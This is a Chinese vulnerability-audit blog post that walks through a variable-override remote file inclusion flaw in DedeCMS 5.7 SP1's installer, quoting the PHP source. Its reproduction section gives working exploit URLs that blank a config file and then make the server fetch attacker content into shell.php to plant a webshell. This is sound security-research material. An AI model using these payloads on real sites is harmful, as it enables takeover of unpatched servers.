zoukankan      html  css  js  c++  java
  • dedecmsv5.7sp1远程文件包含漏洞审计

    dedecms5.7 sp1版本存在远程文件包含漏洞,在此记录审计复现漏洞过程。

    漏洞在/install/index.php(index.php.bak)文件中,漏洞起因是$$符号使用不当,导致变量覆盖以至于最后引起远程文件包含漏洞。

    0x01  变量覆盖

    看代码的18-39行

    $insLockfile = dirname(__FILE__).'/install_lock.txt';
    $moduleCacheFile = dirname(__FILE__).'/modules.tmp.inc';
    
    define('DEDEINC',dirname(__FILE__).'/../include');
    define('DEDEDATA',dirname(__FILE__).'/../data');
    define('DEDEROOT',preg_replace("#[\\/]install#", '', dirname(__FILE__)));
    header("Content-Type: text/html; charset={$s_lang}");
    
    require_once(DEDEROOT.'/install/install.inc.php');
    require_once(DEDEINC.'/zip.class.php');
    
    foreach(Array('_GET','_POST','_COOKIE') as $_request)
    {
        foreach($$_request as $_k => $_v) ${$_k} = RunMagicQuotes($_v);
    }
    
    require_once(DEDEINC.'/common.func.php');
    
    if(file_exists($insLockfile))
    {
        exit(" 程序已运行安装,如果你确定要重新安装,请先从FTP中删除 install/install_lock.txt!");
    }

    红色标记的代码段就是变量覆盖产生的地方,大致意思是将get,post或者cookie方式传入的值通过foreach以键值对的方式输出,例如在url中输入 ?str=hello,则$_k的值就是str,$_v的值就是hello  所以 ${$_K}就是$str,这里很明显的变量覆盖了。后面的RunMagicQuotes函数在另一个文件中定义的,在这里理解为返回参数内容就好了。

    0x02  结合变量覆盖构造远程文件包含

    只有变量覆盖漏洞暂时还不够,我们接着往下看。跳到代码的最后几行(373-387)

    else if($step==11)
    {
        require_once('../data/admin/config_update.php');
        $rmurl = $updateHost."dedecms/demodata.{$s_lang}.txt";
        
        $sql_content = file_get_contents($rmurl);
        $fp = fopen($install_demo_name,'w');
        if(fwrite($fp,$sql_content))
            echo '&nbsp; <font color="green">[√]</font> 存在(您可以选择安装进行体验)';
        else
            echo '&nbsp; <font color="red">[×]</font> 远程获取失败';
        unset($sql_content);
        fclose($fp);
        exit();
    }

    这段代码块引入了 /data/admin/config_update.php文件,文件内容为

    <?php
    /**
     * 更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
     *
     * @version        $Id: config_update.php 1 11:36 2011-2-21 tianya $
     * @package        DedeCMS.Administrator
     * @copyright      Copyright (c) 2007 - 2010, DesDev, Inc.
     * @license        http://help.dedecms.com/usersguide/license.html
     * @link           http://www.dedecms.com
     */
    
    //更新服务器,如果有变动,请到 http://bbs.dedecms.com 查询
    $updateHost = 'http://updatenew.dedecms.com/base-v57/';
    $linkHost = 'http://flink.dedecms.com/server_url.php';

    这里定义了变量updateHost,继续看373-387行代码,$updateHost与"dedecms/demodata.{$s_lang}.txt"拼接为字符串,并利用file_get_contents函数读取demodata.{$s_lang}.txt文件内容,最后将该文件内容写入到$install_demo_name = 'dedev57demo.txt'文件中,因此我们可以结合上面的变量覆盖漏洞来进行远程文件包含,直接写webshell。由于$updateHost变量是引入进来的所以不能直接进行覆盖,需要先将config_update.php文件清空再包含。

    0x03  漏洞复现

    访问/install/index.php(index.php.bak),查看文件是否存在。

    存在。构造payload再次访问,此时清空config_update.php文件。

    /install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../data/admin/config_update.php

    可以看到文件已经被清空,这时我们就可以利用变量覆盖来远程包含我们的文件了。

    /install/index.php?step=11&s_lang=evi1code&insLockfile=evi1code&install_demo_name=../shell.php&updateHost=http://127.0.0.1/

     

     

     至此漏洞复现成功。

    知其然知其所以然。

  • 相关阅读:
    无人机一体化时空信息采集服务平台
    行业大秀:EasyEarth Show!
    EasyEarth三维可视化解决方案——智慧林业
    DJI Terra+EasyEarth让数据获取与应用无缝衔接
    无人机一体化3DGIS服务平台
    EasyEarth三维可视化解决方案——智慧园区
    【闲谈】如何统计字符串中出现最多的字母与个数
    嗨:说您呢,循环了解一下
    状态模式与策略模式
    一次异步处理
  • 原文地址:https://www.cnblogs.com/s1ye/p/9108780.html
Copyright © 2011-2022 走看看